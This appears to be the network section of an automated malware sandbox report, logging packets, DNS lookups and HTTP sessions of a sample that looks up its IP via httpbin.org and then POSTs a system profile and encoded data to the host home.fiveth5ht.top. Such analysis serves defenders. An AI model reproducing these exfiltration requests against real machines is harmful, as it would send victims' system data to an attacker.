                                                  Dec 26, 2024 14:14:24.026865005 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.026875019 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.026941061 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.027082920 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.027091980 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.027101994 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.027215958 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.027302980 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.027318954 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.027328014 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.027354002 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.027481079 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.027489901 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.027498960 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.027534962 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.027618885 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.027813911 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.027834892 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.027997971 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.028018951 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.028249979 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.028259039 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.028341055 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.028351068 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.028454065 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.028462887 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.028506994 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.028563023 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.028640032 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.028650045 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.028764009 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.028832912 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.028877974 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.028979063 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.029139042 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.029175997 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.029206991 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.029225111 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.029278994 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.029289007 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.029320955 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.029386044 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.029441118 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.029450893 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.029546022 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.029556036 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.030323029 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.030333996 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.030384064 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.030447960 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.030525923 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.030534983 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.030639887 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.030649900 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.030745983 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.030762911 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.030843019 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.030859947 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.030977964 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.030987978 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.030998945 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.031088114 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.031163931 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.031173944 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.031228065 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.031337023 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.031368017 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.031378031 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.031496048 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.031505108 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.031631947 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.031644106 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.031721115 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.031757116 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.031908035 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:24.031986952 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:27.193809986 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:27.193917036 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:27.193978071 CET4974080192.168.2.65.101.3.217
                                                  Dec 26, 2024 14:14:27.194329977 CET4974080192.168.2.65.101.3.217
                                                  Dec 26, 2024 14:14:27.313755989 CET80497405.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:27.490546942 CET4975580192.168.2.65.101.3.217
                                                  Dec 26, 2024 14:14:27.610124111 CET80497555.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:27.610264063 CET4975580192.168.2.65.101.3.217
                                                  Dec 26, 2024 14:14:27.610589027 CET4975580192.168.2.65.101.3.217
                                                  Dec 26, 2024 14:14:27.730079889 CET80497555.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:29.112622976 CET80497555.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:29.112695932 CET80497555.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:29.112751007 CET4975580192.168.2.65.101.3.217
                                                  Dec 26, 2024 14:14:29.113065958 CET4975580192.168.2.65.101.3.217
                                                  Dec 26, 2024 14:14:29.232825994 CET80497555.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:29.408955097 CET4976180192.168.2.65.101.3.217
                                                  Dec 26, 2024 14:14:29.528574944 CET80497615.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:29.528666019 CET4976180192.168.2.65.101.3.217
                                                  Dec 26, 2024 14:14:29.529032946 CET4976180192.168.2.65.101.3.217
                                                  Dec 26, 2024 14:14:29.648485899 CET80497615.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:31.143223047 CET80497615.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:31.143285990 CET80497615.101.3.217192.168.2.6
                                                  Dec 26, 2024 14:14:31.143382072 CET4976180192.168.2.65.101.3.217
                                                  Dec 26, 2024 14:14:31.143687963 CET4976180192.168.2.65.101.3.217
                                                  Dec 26, 2024 14:14:31.263770103 CET80497615.101.3.217192.168.2.6

                                                  UDP Packets

                                                  TimestampSource PortDest PortSource IPDest IP
                                                  Dec 26, 2024 14:14:17.281461000 CET5532653192.168.2.61.1.1.1
                                                  Dec 26, 2024 14:14:17.281589985 CET5532653192.168.2.61.1.1.1
                                                  Dec 26, 2024 14:14:17.419203997 CET53553261.1.1.1192.168.2.6
                                                  Dec 26, 2024 14:14:17.419223070 CET53553261.1.1.1192.168.2.6
                                                  Dec 26, 2024 14:14:21.704646111 CET5372453192.168.2.61.1.1.1
                                                  Dec 26, 2024 14:14:21.704835892 CET5372453192.168.2.61.1.1.1
                                                  Dec 26, 2024 14:14:22.210335970 CET53537241.1.1.1192.168.2.6
                                                  Dec 26, 2024 14:14:22.210347891 CET53537241.1.1.1192.168.2.6
                                                  Dec 26, 2024 14:14:27.351142883 CET5386753192.168.2.61.1.1.1
                                                  Dec 26, 2024 14:14:27.351293087 CET5386753192.168.2.61.1.1.1
                                                  Dec 26, 2024 14:14:27.489407063 CET53538671.1.1.1192.168.2.6
                                                  Dec 26, 2024 14:14:27.489486933 CET53538671.1.1.1192.168.2.6
                                                  Dec 26, 2024 14:14:29.270219088 CET5386953192.168.2.61.1.1.1
                                                  Dec 26, 2024 14:14:29.270359039 CET5386953192.168.2.61.1.1.1
                                                  Dec 26, 2024 14:14:29.407968044 CET53538691.1.1.1192.168.2.6
                                                  Dec 26, 2024 14:14:29.408046007 CET53538691.1.1.1192.168.2.6

                                                  DNS Queries

                                                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                  Dec 26, 2024 14:14:17.281461000 CET192.168.2.61.1.1.10x4b9aStandard query (0)httpbin.orgA (IP address)IN (0x0001)false
                                                  Dec 26, 2024 14:14:17.281589985 CET192.168.2.61.1.1.10x6231Standard query (0)httpbin.org28IN (0x0001)false
                                                  Dec 26, 2024 14:14:21.704646111 CET192.168.2.61.1.1.10xca6eStandard query (0)home.fiveth5ht.topA (IP address)IN (0x0001)false
                                                  Dec 26, 2024 14:14:21.704835892 CET192.168.2.61.1.1.10x5577Standard query (0)home.fiveth5ht.top28IN (0x0001)false
                                                  Dec 26, 2024 14:14:27.351142883 CET192.168.2.61.1.1.10xad3fStandard query (0)home.fiveth5ht.topA (IP address)IN (0x0001)false
                                                  Dec 26, 2024 14:14:27.351293087 CET192.168.2.61.1.1.10xe35eStandard query (0)home.fiveth5ht.top28IN (0x0001)false
                                                  Dec 26, 2024 14:14:29.270219088 CET192.168.2.61.1.1.10xd3caStandard query (0)home.fiveth5ht.topA (IP address)IN (0x0001)false
                                                  Dec 26, 2024 14:14:29.270359039 CET192.168.2.61.1.1.10xfb64Standard query (0)home.fiveth5ht.top28IN (0x0001)false

                                                  DNS Answers

                                                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                  Dec 26, 2024 14:14:17.419223070 CET1.1.1.1192.168.2.60x4b9aNo error (0)httpbin.org34.226.108.155A (IP address)IN (0x0001)false
                                                  Dec 26, 2024 14:14:17.419223070 CET1.1.1.1192.168.2.60x4b9aNo error (0)httpbin.org3.218.7.103A (IP address)IN (0x0001)false
                                                  Dec 26, 2024 14:14:22.210347891 CET1.1.1.1192.168.2.60xca6eNo error (0)home.fiveth5ht.top5.101.3.217A (IP address)IN (0x0001)false
                                                  Dec 26, 2024 14:14:27.489486933 CET1.1.1.1192.168.2.60xad3fNo error (0)home.fiveth5ht.top5.101.3.217A (IP address)IN (0x0001)false
                                                  Dec 26, 2024 14:14:29.407968044 CET1.1.1.1192.168.2.60xd3caNo error (0)home.fiveth5ht.top5.101.3.217A (IP address)IN (0x0001)false

                                                  HTTP Request Dependency Graph

                                                  • httpbin.org
                                                  • home.fiveth5ht.top

                                                  HTTP Packets

                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                  0192.168.2.6497405.101.3.217806256C:\Users\user\Desktop\mBr65h6L4w.exe
                                                  TimestampBytes transferredDirectionData
                                                  Dec 26, 2024 14:14:22.332628965 CET12360OUTPOST /OyKvQKriwnyyWjwCxSXF1735186862 HTTP/1.1
                                                  Host: home.fiveth5ht.top
                                                  Accept: */*
                                                  Content-Type: application/json
                                                  Content-Length: 560474
                                                  Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 38 34 35 32 31 33 32 31 34 30 30 30 31 30 38 39 31 39 34 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 [TRUNCATED]
                                                  Data Ascii: { "ip": "8.46.123.189", "current_time": "8452132140001089194", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 50, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 328 }, { "name": "csrss.exe", "pid": 412 }, { "name": "wininit.exe", "pid": 488 }, { "name": "csrss.exe", "pid": 496 }, { "name": "winlogon.exe", "pid": 560 }, { "name": "services.exe", "pid": 632 }, { "name": "lsass.exe", "pid": 652 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 780 }, { "name": "fontdrvhost.exe", "pid": 788 }, { "name": "svchost.exe", "pid": 868 }, { "name": "svchost.exe", "pid": 928 }, { "name": "dwm.exe", "pid": 996 }, { "name": "svchost.exe", "pid": 436 }, { "name": "svchost.exe", "pid": 376 }, { "name": "svchost.exe", "pid": 60 }, { "name": "svchost.exe", [TRUNCATED]
                                                  Dec 26, 2024 14:14:22.452722073 CET2472OUTData Raw: 75 59 4c 4f 77 68 66 57 64 50 31 48 78 4a 71 69 78 57 4d 56 6e 46 39 76 30 35 62 65 43 45 50 71 46 73 42 71 48 34 68 7a 77 54 32 73 38 74 74 63 77 79 51 58 45 45 6a 78 54 51 79 6f 30 63 73 55 73 62 46 58 6a 6b 52 67 47 56 31 59 45 4d 70 41 49 49
                                                  Data Ascii: uYLOwhfWdP1HxJqixWMVnF9v05beCEPqFsBqH4hzwT2s8ttcwyQXEEjxTQyo0csUsbFXjkRgGV1YEMpAIIr938K\/GXgrxgy3F4\/hTEYyjiMvreyzHJc3pYbC5zgYybVDEVsNhcXjqE8Jikm6GJw2Kr0nJTo1JU8RTqUYfzf4x+AniD4FZvg8s40wuBr4XNKHtsr4gyOti8bkGYzhGLxOFw+LxeBy7EQxuCc1HFYTFYPDVlGVO
                                                  Dec 26, 2024 14:14:22.452781916 CET2472OUTData Raw: 31 70 48 36 66 6a 5c 2f 51 30 47 6c 50 72 38 76 31 49 71 4b 4b 6a 6b 37 66 6a 5c 2f 53 67 30 49 36 4b 4b 4b 44 6f 49 35 4f 33 34 5c 2f 30 71 4f 70 4a 4f 33 34 5c 2f 30 71 4f 67 43 4f 54 74 2b 4e 52 31 4b 5c 2f 54 38 66 38 61 69 6f 4f 67 6a 6b 37
                                                  Data Ascii: 1pH6fj\/Q0GlPr8v1IqKKjk7fj\/Sg0I6KKKDoI5O34\/0qOpJO34\/0qOgCOTt+NR1K\/T8f8aioOgjk7fj\/AEqGXv8A73+NWqhbp9\/P+fxH50GlPr8v1KtFWKr1pT6\/L9Top9fl+pC\/3j+H8hTasVXbeTwn5cD8qr3\/AO7+JoRP1\/D+pplWKr1idBXpr\/dP4fzFTSdvx\/pUdB0FeipX6fj\/AENRVHIvP+vkXDf5f
                                                  Dec 26, 2024 14:14:22.452927113 CET11124OUTData Raw: 66 35 2b 74 4d 2b 66 35 4e 5c 2f 77 41 6e 70 35 6b 56 31 5c 2f 6e 6a 74 2b 74 54 52 78 65 5a 35 4b 4f 6e 37 6e 72 35 6b 6b 52 38 5c 2f 77 44 7a 2b 48 74 36 35 66 4a 5c 2f 48 5c 2f 66 6b 6c 38 72 66 4a 5c 2f 79 32 37 66 35 41 6f 4c 68 76 38 76 31
                                                  Data Ascii: f5+tM+f5N\/wAnp5kV1\/njt+tTRxeZ5KOn7nr5kkR8\/wDz+Ht65fJ\/H\/fkl8rfJ\/y27f5AoLhv8v1RCzbd\/wA+\/wA2K383y8jP+lfj9e1Mk\/d\/x7z\/AK393+496ftKsifu\/wB3L\/3+\/wBF\/wA\/U1DueRfk\/dcCLyx+\/wD\/AOC\/z1oNRjbPnR3\/AHP9PX39P85o\/i2fu\/3n+q\/e+n+f171JJ+72bJ
                                                  Dec 26, 2024 14:14:22.452950001 CET3708OUTData Raw: 38 35 54 47 54 74 6d 47 56 5c 2f 37 2b 4b 41 56 41 39 30 59 34 36 6e 31 5c 2f 6b 37 50 66 45 37 49 4f 4b 38 37 78 6d 61 55 4d 6e 58 43 39 44 45 7a 70 2b 7a 79 2b 6b 5c 2f 72 4f 47 6f 38 6c 43 6a 52 6c 4e 34 69 6c 43 45 70 31 73 52 4f 6e 4c 45 34
                                                  Data Ascii: 85TGTtmGV\/7+KAVA90Y46n1\/k7PfE7IOK87xmaUMnXC9DEzp+zy+k\/rOGo8lCjRlN4ilCEp1sROnLE4qrLDUYzr1qlRq8pM\/t3JfCLijhLIMBldfOafFmJwlKcauY8n1HEV+atUqxjHCVqlSFKhh4Tjh8NRhi6zhQo04RslGK+Uf2hr\/AMnwvo+nqxDX2tCdgMYaGxs7gOpzz\/rrq3fjug5xwfj\/AG7eMY7+tfRP7RWq
                                                  Dec 26, 2024 14:14:22.453063965 CET4944OUTData Raw: 47 5c 2f 32 55 5c 2f 38 41 67 6e 4e 38 4b 5c 2f 32 59 66 46 38 50 78 46 6d 38 56 65 4b 50 69 31 34 5c 2f 30 54 77 79 5c 2f 67 6a 77 46 34 68 38 61 57 65 67 61 64 62 5c 2f 41 41 38 38 4a 58 4c 79 7a 61 31 44 34 61 30 4c 77 31 70 32 6d 61 54 5c 2f
                                                  Data Ascii: G\/2U\/8AgnN8K\/2YfF8PxFm8VeKPi14\/0Twy\/gjwF4h8aWegadb\/AA88JXLyza1D4a0Lw1p2maT\/AMJX4xu57i\/8dePtQgvPFfii+vNTnub+3\/t3xCmre1\/sQf8AJlv7IX\/Zr3wB\/wDVUeE6\/Df9sD9iH9oT4v8Ax0\/4Ki\/GHwX8ObLw3p2l+F\/Htz4N8daNovxBk+Pv7RNnrX\/BKnSvg\/ZfAL4daXp\/h
                                                  Dec 26, 2024 14:14:22.572524071 CET2472OUTData Raw: 50 5c 2f 41 46 6a 78 61 6c 5a 79 4b 6e 47 66 6e 5a 4a 69 46 34 42 50 7a 45 63 63 39 4b 39 5c 2f 4d 4d 4e 6b 6d 63 34 53 72 6c 32 61 34 66 4b 38 31 77 4f 49 6a 61 74 67 63 77 70 59 54 48 59 53 76 48 71 71 75 47 78 4d 61 74 47 72 47 7a 32 6e 43 53
                                                  Data Ascii: P\/AFjxalZyKnGfnZJiF4BPzEcc9K9\/MMNkmc4Srl2a4fK81wOIjatgcwpYTHYSvHqquGxMatGrGz2nCS18zxMrxnEWQY2jmuSYrOslzHCyUsPmWV1sdl2Nw821Z0cZhJUa9GTfLZwqRbdrdD7W8M\/tp\/FrRNOn0rVrqPxJYT2slsyXsgjmw6FA\/wBongv2j8vOVitVtYQBtMZG3b4Z4o+LPjDxa8q3+p3EVjIWxp8czQWg
                                                  Dec 26, 2024 14:14:22.572566032 CET4944OUTData Raw: 65 48 62 44 34 52 2b 41 5c 2f 69 35 34 75 38 59 2b 4a 64 47 73 37 53 36 31 66 58 62 37 77 76 34 56 31 54 77 6e 34 64 30 6a 2b 79 37 7a 78 44 34 6b 30 70 50 46 48 67 38 65 49 50 74 71 50 6a 54 34 5a 34 69 4f 4a 6c 68 2b 4e 73 6d 72 78 77 73 63 4e
                                                  Data Ascii: eHbD4R+A\/i54u8Y+JdGs7S61fXb7wv4V1Twn4d0j+y7zxD4k0pPFHg8eIPtqPjT4Z4iOJlh+NsmrxwscNOUqNWtVjiFi55fTwyy108PJZtOrUzbKqUaeVvGTVXNMtpyip47Cxq\/GV\/ADxlwv1J4rw84gw31+eLhT+sUaFB4V4BZjLFyzVVa8HklKhDKM3qSrZz9QpOllOa1YzlTy7GyoVaKqvOXv8AwLp+h654K8dN8TvjL4
                                                  Dec 26, 2024 14:14:22.572624922 CET3708OUTData Raw: 44 6e 68 44 55 50 69 68 34 56 38 62 50 34 6c 30 7a 77 37 70 63 4a 67 30 76 52 47 75 50 42 6e 6a 44 77 7a 61 58 46 6e 70 4e 70 35 4f 6c 36 65 39 37 48 66 58 61 36 62 59 57 53 4e 63 68 6c 6b 55 2b 78 66 38 50 73 5c 2f 32 2b 5c 2f 2b 68 41 5c 2f 59
                                                  Data Ascii: DnhDUPih4V8bP4l0zw7pcJg0vRGuPBnjDwzaXFnpNp5Ol6e97HfXa6bYWSNchlkU+xf8Ps\/2+\/+hA\/Y\/wD\/AAlfjR\/89evyI1Tx54Ojsvi14h8J\/EX4X\/EfwX8IPgjF8fdX8d+D9c8cW3hzxB4Kbx\/4K+GVzZaBYeNfhr4O8b2Piew8W+OtMs7rRvG\/g7wcptbS91K0u7rTbjQ7vWfXdT8AeJNC+JTfCnxDrnw28O
                                                  Dec 26, 2024 14:14:22.572638988 CET1236OUTData Raw: 2f 36 36 2b 5c 2f 58 5c 2f 50 31 78 32 71 7a 4a 35 32 33 79 5a 73 4a 2b 39 42 5c 2f 64 5c 2f 75 4c 37 5c 2f 72 36 39 4d 66 68 32 46 4d 5c 2f 76 42 50 66 37 4c 4a 5c 2f 54 48 2b 65 31 42 6f 51 5c 2f 64 6b 54 35 4e 6e 5c 2f 74 55 66 35 5c 2f 79 63
                                                  Data Ascii: /66+\/X\/P1x2qzJ523yZsJ+9B\/d\/uL7\/r69Mfh2FM\/vBPf7LJ\/TH+e1BoQ\/dkT5Nn\/tUf5\/yc0ySN9qK\/2f6+X+vr+NPkzJHvd\/9ZL\/AOTH\/T37f\/WpV\/1exPM\/eS\/vP8+3t9a5zoKr7\/LfYm\/971\/57f8A1\/w57c0z7rfLHs\/e+b\/rfTPb3\/CrP3cH+P8A1We3+feqzR+b8iP8nm\/6zr+H60G
                                                  Dec 26, 2024 14:14:22.572762012 CET2472OUTData Raw: 73 50 79 46 48 5c 2f 31 55 73 6e 5c 2f 41 4c 61 5c 2f 79 5c 2f 7a 78 56 6f 71 5c 2f 6d 4a 76 38 7a 5c 2f 58 66 38 73 35 66 33 48 5c 2f 31 71 6a 32 76 76 33 76 38 68 38 37 79 76 33 6e 5c 2f 41 43 31 5c 2f 6c 39 4f 76 38 36 50 5a 2b 66 34 66 38 45
                                                  Data Ascii: sPyFH\/1Usn\/ALa\/y\/zxVoq\/mJv8z\/Xf8s5f3H\/1qj2vv3v8h87yv3n\/AC1\/l9Ov86PZ+f4f8EBnl\/u4UZy6f6R5v5UfIFR5n8v\/AJ69v9H\/AM\/j+VEm+RXT7nXv\/kc8\/hTPMfh0+z+T6+V+4\/69bT\/JzWZ0ELfe3okieX+n+f8APalKP\/AmzzP+WnuP89ql\/wBWqO\/mP\/z18wfn+OP89KZ5j7X3v\/
                                                  Dec 26, 2024 14:14:27.193809986 CET157INHTTP/1.1 200 OK
                                                  Server: nginx/1.22.1
                                                  Date: Thu, 26 Dec 2024 13:14:26 GMT
                                                  Content-Type: text/html; charset=utf-8
                                                  Content-Length: 1
                                                  Connection: close
                                                  Data Raw: 30
                                                  Data Ascii: 0


                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                  1192.168.2.6497555.101.3.217806256C:\Users\user\Desktop\mBr65h6L4w.exe
                                                  TimestampBytes transferredDirectionData
                                                  Dec 26, 2024 14:14:27.610589027 CET98OUTGET /OyKvQKriwnyyWjwCxSXF1735186862?argument=0 HTTP/1.1
                                                  Host: home.fiveth5ht.top
                                                  Accept: */*
                                                  Dec 26, 2024 14:14:29.112622976 CET372INHTTP/1.1 404 NOT FOUND
                                                  Server: nginx/1.22.1
                                                  Date: Thu, 26 Dec 2024 13:14:28 GMT
                                                  Content-Type: text/html; charset=utf-8
                                                  Content-Length: 207
                                                  Connection: close
                                                  Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 65 20 73 65 72 76 65 72 2e 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 0a
                                                  Data Ascii: <!doctype html><html lang=en><title>404 Not Found</title><h1>Not Found</h1><p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>


                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                  2192.168.2.6497615.101.3.217806256C:\Users\user\Desktop\mBr65h6L4w.exe
                                                  TimestampBytes transferredDirectionData
                                                  Dec 26, 2024 14:14:29.529032946 CET171OUTPOST /OyKvQKriwnyyWjwCxSXF1735186862 HTTP/1.1
                                                  Host: home.fiveth5ht.top
                                                  Accept: */*
                                                  Content-Type: application/json
                                                  Content-Length: 31
                                                  Data Raw: 7b 20 22 69 64 31 22 3a 20 22 30 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 31 22 20 7d
                                                  Data Ascii: { "id1": "0", "data": "Done1" }
                                                  Dec 26, 2024 14:14:31.143223047 CET372INHTTP/1.1 404 NOT FOUND
                                                  Server: nginx/1.22.1
                                                  Date: Thu, 26 Dec 2024 13:14:30 GMT
                                                  Content-Type: text/html; charset=utf-8
                                                  Content-Length: 207
                                                  Connection: close
                                                  Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 65 20 73 65 72 76 65 72 2e 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 0a
                                                  Data Ascii: <!doctype html><html lang=en><title>404 Not Found</title><h1>Not Found</h1><p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>


                                                  HTTPS Proxied Packets

                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                  0192.168.2.64972234.226.108.1554436256C:\Users\user\Desktop\mBr65h6L4w.exe
                                                  TimestampBytes transferredDirectionData
                                                  2024-12-26 13:14:19 UTC52OUTGET /ip HTTP/1.1
                                                  Host: httpbin.org
                                                  Accept: */*
                                                  2024-12-26 13:14:19 UTC224INHTTP/1.1 200 OK
                                                  Date: Thu, 26 Dec 2024 13:14:19 GMT
                                                  Content-Type: application/json
                                                  Content-Length: 31
                                                  Connection: close
